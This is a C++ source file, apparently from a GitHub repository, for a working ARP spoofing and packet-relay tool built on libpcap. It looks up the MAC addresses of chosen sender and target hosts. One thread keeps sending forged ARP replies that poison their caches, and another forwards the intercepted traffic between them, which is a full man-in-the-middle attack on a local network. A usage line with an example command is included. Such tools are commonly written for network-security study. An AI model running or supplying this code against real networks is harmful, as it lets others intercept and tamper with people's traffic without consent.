-
Notifications
You must be signed in to change notification settings - Fork 1
/
main.cpp
275 lines (259 loc) · 7.56 KB
/
main.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
#include <iostream>
#include <thread>
#include <vector>
#include <string>
#include <cstdio>
#include <cstdlib>
#include <unistd.h>
#include <netinet/ip.h>
#include <netinet/if_ether.h>
#include "IPv4_addr.h"
#include "infofetcher.h"
#include "arp.h"
using namespace std;
#define LOG_LEVEL_DEBUG 1
#define LOG_LEVEL_INFO 0
#define PCAP_ERR_BUF_SIZE 1024
#define PACK_BUF_SIZE 1024 * 64
#define ARP_SPOOFING_PERIOD 1
static pcap_t *handle;
static IPv4_addr my_ip_addr;
static MAC_addr my_mac_addr;
static vector<IPv4_addr> sender_ips;
static vector<IPv4_addr> target_ips;
static vector<MAC_addr> sender_macs;
static vector<MAC_addr> target_macs;
static int log_level = LOG_LEVEL_INFO;
void thread_spoofing();
void thread_relaying();
int main(int argc, char *argv[]) {
char *log_level_str = getenv("LOG_LEVEL");
char errbuf[PCAP_ERR_BUF_SIZE];
IPv4_addr test_ip;
char *ifname;
if (argc < 4) {
fprintf(stderr, "Usage: %s <interface> <sender ip 1> <target ip 1> [<sender ip 2> <target ip 2>...]\n", argv[0]);
fprintf(stderr, "\tto use debug mode, you can specify environment variable 'LOG_LEVEL'\n");
fprintf(stderr, "\te.g) LOG_LEVEL=1 %s eth0 192.168.0.5 192.168.0.1\n", argv[0]);
return EXIT_FAILURE;
}
ifname = argv[1];
argc -= 2;
for (int i = 2; i <= argc; i += 2) {
sender_ips.push_back(argv[i]);
target_ips.push_back(argv[i+1]);
}
if (log_level_str != NULL) {
log_level=atoi(log_level_str);
}
if (log_level >= LOG_LEVEL_DEBUG) {
for (u_int i=0; i < sender_ips.size(); i++) {
cout << "sender_ip[" << i << "] - ";
sender_ips[i].ascii_dump();
cout << endl;
}
for (u_int i=0; i < target_ips.size(); i++) {
cout << "target_ip[" << i << "] - ";
target_ips[i].ascii_dump();
cout << endl;
}
}
get_my_ip_str(ifname, my_ip_addr);
get_my_mac_str(ifname, my_mac_addr);
if (log_level >= LOG_LEVEL_DEBUG) {
cout << "My IPv4 address is ";
my_ip_addr.ascii_dump();
cout << endl;
cout << "My MAC address is ";
my_mac_addr.hex_dump();
cout << endl;
}
handle = pcap_open_live(ifname, PACK_BUF_SIZE, 0, 1, errbuf);
if (handle == NULL) {
fprintf(stderr, "Interface open err %s: %s\n", ifname, errbuf);
exit(EXIT_FAILURE);
}
if (log_level >= LOG_LEVEL_DEBUG) {
printf("Interface open success %s\n", ifname);
}
//Gathering Sender's MAC address procedure start
if (log_level >= LOG_LEVEL_DEBUG) {
printf("Gathering MAC address of sender IP addr owner...\n");
}
//Gathering sender's MAC address
for (u_int i = 0; i < sender_ips.size(); i++) {
auto sender_ip = sender_ips[i];
if (log_level >= LOG_LEVEL_DEBUG) {
printf("[%2u/%2lu]Gathering Sender's MAC addr: ", i, sender_ips.size());
sender_ip.ascii_dump();
putchar('\n');
printf("Try to Send ARP request...\n");
}
int send_status = send_arp_request(handle, my_mac_addr, my_ip_addr, sender_ip);
if (send_status == EXIT_SUCCESS) {
if (log_level >= LOG_LEVEL_DEBUG) {
printf("Send ARP request success\n");
}
} else {
fprintf(stderr, "Send ARP request failed\n");
return EXIT_FAILURE;
}
MAC_addr tmp_mac;
if (log_level >= LOG_LEVEL_DEBUG) {
printf("Try to Receive ARP reqly...\n");
}
int recv_status = recv_arp_reply(handle, sender_ip, tmp_mac);
if (recv_status == EXIT_SUCCESS) {
if (log_level >= LOG_LEVEL_DEBUG) {
printf("Receive ARP reply success\n");
}
} else {
fprintf(stderr, "Receive ARP reply failed\n");
return EXIT_FAILURE;
}
sender_macs.push_back(tmp_mac);
if (log_level >= LOG_LEVEL_DEBUG) {
printf("* Store MAC address ");
tmp_mac.hex_dump();
cout << " = ";
sender_ip.ascii_dump();
cout << endl;
}
}
//Gathering target's MAC address
for (u_int i = 0; i < target_ips.size(); i++) {
auto target_ip = target_ips[i];
if (log_level >= LOG_LEVEL_DEBUG) {
printf("[%2u/%2lu]Gathering Target's MAC addr: ", i, target_ips.size());
target_ip.ascii_dump();
putchar('\n');
printf("Try to Send ARP request...\n");
}
int send_status = send_arp_request(handle, my_mac_addr, my_ip_addr, target_ip);
if (send_status == EXIT_SUCCESS) {
if (log_level >= LOG_LEVEL_DEBUG) {
printf("Send ARP request success\n");
}
} else {
fprintf(stderr, "Send ARP request failed\n");
return EXIT_FAILURE;
}
MAC_addr tmp_mac;
if (log_level >= LOG_LEVEL_DEBUG) {
printf("Try to Receive ARP reqly...\n");
}
int recv_status = recv_arp_reply(handle, target_ip, tmp_mac);
if (recv_status == EXIT_SUCCESS) {
if (log_level >= LOG_LEVEL_DEBUG) {
printf("Receive ARP reply success\n");
}
} else {
fprintf(stderr, "Receive ARP reply failed\n");
return EXIT_FAILURE;
}
target_macs.push_back(tmp_mac);
if (log_level >= LOG_LEVEL_DEBUG) {
printf("* Store MAC address ");
tmp_mac.hex_dump();
cout << " = ";
target_ip.ascii_dump();
cout << endl;
}
}
//Gathering Sender's MAC address procedure finish
thread spoofing_thread(thread_spoofing);
thread relaying_thread(thread_relaying);
spoofing_thread.join();
relaying_thread.join();
return EXIT_SUCCESS;
}
void thread_spoofing() {
while(true) {
// printf("Arp spoofing\n");
for (u_int i=0; i < sender_macs.size(); i++) {
send_arp_reply(handle, my_mac_addr, sender_macs[i], target_ips[i], sender_ips[i]);
}
sleep(ARP_SPOOFING_PERIOD);
}
}
void thread_relaying() {
struct pcap_pkthdr* header_ptr;
const u_char *pkt_data;
struct ether_header* eth_hdr;
struct ip* ip_hdr;
while(true) {
int status = pcap_next_ex(handle, &header_ptr, &pkt_data);
if (status == 0) {
//no pcaket
continue;
} else if (status == -1) {
fprintf(stderr, "While packet relaying, something wrong on Interface: %s\n", pcap_geterr(handle));
return;
} else if (status == -2) {
fprintf(stderr, "While packet relaying, unexpected accident occured\n");
return;
}
eth_hdr = (struct ether_header*)pkt_data;
if (ntohs(eth_hdr->ether_type) == ETHERTYPE_IP) {
ip_hdr = (struct ip*)(pkt_data + sizeof(struct ether_header));
} else {
//not IP protocol
continue;
}
if (ip_hdr->ip_v != 4) {
//IP version it not 4
continue;
}
IPv4_addr dst_ip;
IPv4_addr src_ip;
dst_ip.parse_mem((char*)&ip_hdr->ip_dst);
src_ip.parse_mem((char*)&ip_hdr->ip_src);
if (!my_ip_addr.is_equal(dst_ip)) { //its not for mine
if (log_level >= LOG_LEVEL_DEBUG) {
cout << "This pack is not for me dest IP: ";
dst_ip.ascii_dump();
cout << endl;
cout << "src IP: ";
src_ip.ascii_dump();
cout << endl;
}
for (u_int i = 0; i < sender_ips.size(); i++) { //src ip is in sender list
auto sender_ip = sender_ips[i];
if (sender_ip.is_equal(src_ip)) {
//sender -> target packet
MAC_addr dst_mac = target_macs[i]; //got the real mac address
cout << "Real dest MAC: ";
dst_mac.hex_dump();
cout << endl;
dst_mac.write_mem(eth_hdr->ether_dhost);
my_mac_addr.write_mem(eth_hdr->ether_shost);
if (pcap_sendpacket(handle, pkt_data, header_ptr->len) == -1) {
fprintf(stderr, "pcap_sendpacket err %s\n", pcap_geterr(handle));
} else {
if (log_level >= LOG_LEVEL_DEBUG) {
printf("Packet relay Success!\n");
}
}
break;
}
if (sender_ip.is_equal(dst_ip)) {
//target -> sender packet
MAC_addr dst_mac = sender_macs[i];
cout << "Real dest MAC: ";
dst_mac.hex_dump();
cout << endl;
dst_mac.write_mem(eth_hdr->ether_dhost);
my_mac_addr.write_mem(eth_hdr->ether_shost);
if (pcap_sendpacket(handle, pkt_data, header_ptr->len) == -1) {
fprintf(stderr, "pcap_sendpacket err %s\n", pcap_geterr(handle));
} else {
if (log_level >= LOG_LEVEL_DEBUG) {
printf("Packet relay Success!\n");
}
}
break;
}
}
}
}
}